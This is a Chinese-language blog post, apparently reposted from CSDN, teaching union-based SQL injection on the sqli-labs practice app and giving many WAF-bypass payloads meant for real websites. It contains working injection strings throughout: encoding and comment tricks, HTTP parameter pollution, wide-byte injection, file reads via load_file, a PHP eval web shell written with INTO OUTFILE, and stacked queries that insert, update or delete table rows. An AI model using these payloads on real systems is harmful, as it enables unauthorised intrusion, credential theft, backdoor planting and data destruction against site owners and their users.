sql注入杂谈(一)--union select
我就简单说说我对于联合注入的想法,以及对于联合注入绕过防火墙的方法,(只是我自己目前所掌握的方法,当然更多奇淫技巧还的需要我们自己去发掘)对于我们才学习安全的人来说,对于练习sql注入,我们学习最简单的语法就是sql注入之联合注入。
就拿sqli-labs来说说吧127.0.0.1/less-1/?id=1
我们的教程里面就说127.0.0.1/less-1/?id=1' 加上单引号,看爆不爆错,如果报错了可能存在sql注入,因为当我们127.0.0.1/less-1/?id=1这样提交时,系统会自动加上单引号,就像这样127.0.0.1/less-1/?id='1',但是由于我们又加了单引号,就形成这样127.0.0.1/less-1/?id='1'',所以就会报错,这说明什么,说明系统把我们的单引号带入系统查询了,所以会存在报错。
然后教程就说第二步,(1)127.0.0.1/less-1/?id=1' order by 2--+ (2)127.0.0.1/less-1/?id=1' order by 3--+ (3)127.0.0.1/less-1/?id=1' order by 4--+我相信大家一定不会陌生,假如有3个字段,那么1和2不会报错,3就会报错,那么我们就可以笃定他有3个字段,所以,我们接下来就可以进行我们的第三步,union select,对了,在此之前,我一直搞不懂为何后面要加注释,后来才明白,我们不加注释,提交的语句为127.0.0.1/less-1/?id='1' order by 3' 这样就会报错,但是加了注释,提交的语句就是这样127.0.0.1/less-1/?id='1' order by 3#',后面的单引号就被注释掉了,就没有问题
然后我们就来到了教程的第三步127.0.0.1/less-1/?id=-1' union select 1,2,user()--+然后运用联合注入查看用户,database()数据库,@@datadir数据库的地址等等,然后我们就可以爆数据库的库名127.0.0.1/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
127.0.0.1/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" 爆security的表名
127.0.0.1/less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" 爆users表的字段名
127.0.0.1/less-1/?id=-1' union select 1,group_concat(username,0x7C,password),3 from users--+ 然后读取表的字段内容,
可能有的讲师讲的比较深,要说limit,然后sql注入再讲几个简单的绕waf,就过去了,初学就觉得,流啤的很,TM出数据了,好屌,其实当我们实操的时候,会发现,我们的union select根本就没有用,最后还是靠sqlmap -u xxx --batch --level=3 --risk=3 --hex --tamper="space2randomblank.py" --batch --current-db,如果没有跑出来,然后我们就想到用burpsuit抓包,然后post注入,如果这样还搞不定,那么我们就放弃了(我是这样跌跌撞撞走过来的,哈哈)
今天我就说说我的一些经验吧!虽然也不多,在大牛面前看起来也就那样,但还是分享跟那些才学安全的朋友。
首先我们看一个网站是否存在注入点,别一来就加单引号,因为某些敏感的网站,你加了单引号,你的ip直接被ban了,比如
http://127.0.0.1/sql/Less-1/?id=1-1 http://127.0.0.1/sql/Less-1/?id=1 看这2个回显的长度,用burpsuit看length,这是基于数字型的
http://127.0.0.1/sql/Less-1/?id=1'-'1 http://127.0.0.1/sql/Less-1/?id=1'-'0 这是基于字符串型的
如果是空数据类型的 http://127.0.0.1/sql/Less-1/?id=1-exp(11111) 这样判断
如若大家想用 and 1=1,我建议不要这样,因为现在大部分网站都会拦截,我们可以1%2b1=2 1%2b1>1 这样判断
这些说完了,我就来说说基于union select的绕过方法
1.网上也有很多,大小写绕过,UNIunionON SELselectECT关键字替换绕过,但是对于很多网站,这个已经不怎么实用了。
2.其次是编码以及服务器的解析(包括参数污染)
基于iis+asp的容器: s%u0065lect->select s%u00f0lect->select %U%N%I%O%N //这3种方法绕过
3.然后是是参数解析错误绕过: http://127.0.0.1/sql/Less-1/?id=1&id=-2' union select 1,user(),3--+
http://127.0.0.1/sql/Less-1/?id=-1+div+0' union select 1,2,user()--+
4.然后如果某些网站支持二次解析url编码: /**/ = %2F%2A%2A%2F == %25%32%46%25%32%41%25%32%41%25%32%46
5.然后利用hpp参数污染绕过
http://127.0.0.1/sql/Less-1/?id=1 /*&id=-1'union select 1,user(),3 -- +*/ //利用hpp参数污染
http://127.0.0.1/sql/Less-1/?id=-1' and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version()--+ //利用垃圾文件绕过
6.接下来就是内联注释绕过
union/*!/*!50000select*/ //网上说是版本号,但是我在我的less1里面10000~50000都可行,大家也可以用burpsuit遍历看长度
union/*!/**/%0aselect*/ //%0a是换行 +UnIoN/**/SeLecT/**/1,2,user() un/**/ion se/**/lect /**/union/*/select/**/
/*!40000 order*/ by 4--+ order /*!40000by*/ 4 --+
7.加入特殊字符
union %23%0aall //%23是注释,%0A是换行,相当于把注释换到下一行 union -- 1%0a select +union+select+1,user(),3--+
union(select 1,2,user())--+ +uni%0bon+se%0blect+1,2,user()--+
8.系统函数被过滤
1.列如我们的user()函数被过滤怎么办
user/**/(/**/) //利用内联注释绕过 还可以user/*!50000*/(/**/)
user/*!50000*/%23%0a(/**/) //利用注释换行绕过
`user`%0a() //利用反引号绕过+换行绕过
2.information_schema.schemata被过滤
`information_schema`.`schemata ` `information_schema`.schemata information_schema.`schemata ` //反引号3连
information_schema/**/.schemata information_schema/*!*/.schemata information_schema/*!50000*/.schemata //内联注释3连
information_schema%0a.schemata (information_schema.schemata) //特殊符号绕过
9.写文件,读文件
union select 1,load_file('C:/Users/Desktop/c.txt'),3--+ //读文件(当然需要权限),用16进制转字符串
union select 1,2,"<?php @eval($_POST[a]);?>" into outfile "C:/Desktop/b.txt"--+ //写文件
union select 1,2,"<?php @eval($_POST[a]);?>" into dumpfile "D:/3.php"--+ //写文件
针对于写读文件的绕过
union select 1,hex(load_file(0x433A2F55736572732F415355532F4465736B746F702F632E747874)),3--+
union select 1,load_file(char(99,58,47,98,101,111,116,76,105,114,105)),3--+ //可以使用hex编码和char编码来绕过,当然前面的union select也可以用前面的方法绕过
10.宽字节注入
有些时候我们对网站sql注入的时候,会发现加上单引号会被/‘斜杠加单引号套餐伺候,这个时候我们就需要运用宽字节注入,当然你的%df,你的宽字节的ascii码必须要大于128,才能使与/变成一个汉字。
127.0.0.1/less-1/?id=-1%df’ union select 1,2,version()–+这样,如果%df被拦截了
%EF%BF%BD%27union%20select%201,user(),3–+ 可以这样
11.其他(比如我们的注释–+无法注释后面的单引号)
union select 1,user(),3 and ‘1’%2b’1’='2 这样绕过,=也可以变为%3D
也可以union select 1,user(),3 and ‘2’ >'1 >也可以变为%3E
12堆叠查询
127.0.0.1/less-1/?id=1’;insert into users values (‘8’,‘xinxin’,‘shuai’)–+ //增加一条数据,当然得有权限,这些都是配合POST注入,举个例子(基于lcamry的注入天书)
比如我们在一个登陆界面,我们当然显得判断出他的闭合是什么,如若是单引号,我们就输入payload
uname=admin&passwd=c’;insert into users values (‘8’,‘xinxin’,‘shuai’)#&submit=Submit //我们直接加数据进去,当然前提的有权限
然后就是删;
delete from guest where id =7 or 1=2–+ 这个的慎用,记住,or后面必须是错误语句,否则表TM全删了。
;delete from guest where id =7 or 1=1–+ (这个就是以后别人送饭到手了)
;UPDATE guest SET firstname=‘akak’ WHERE id=3–+ //这个是改
原文地址:https://blog.csdn.net/2401_88752464/article/details/144790568
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!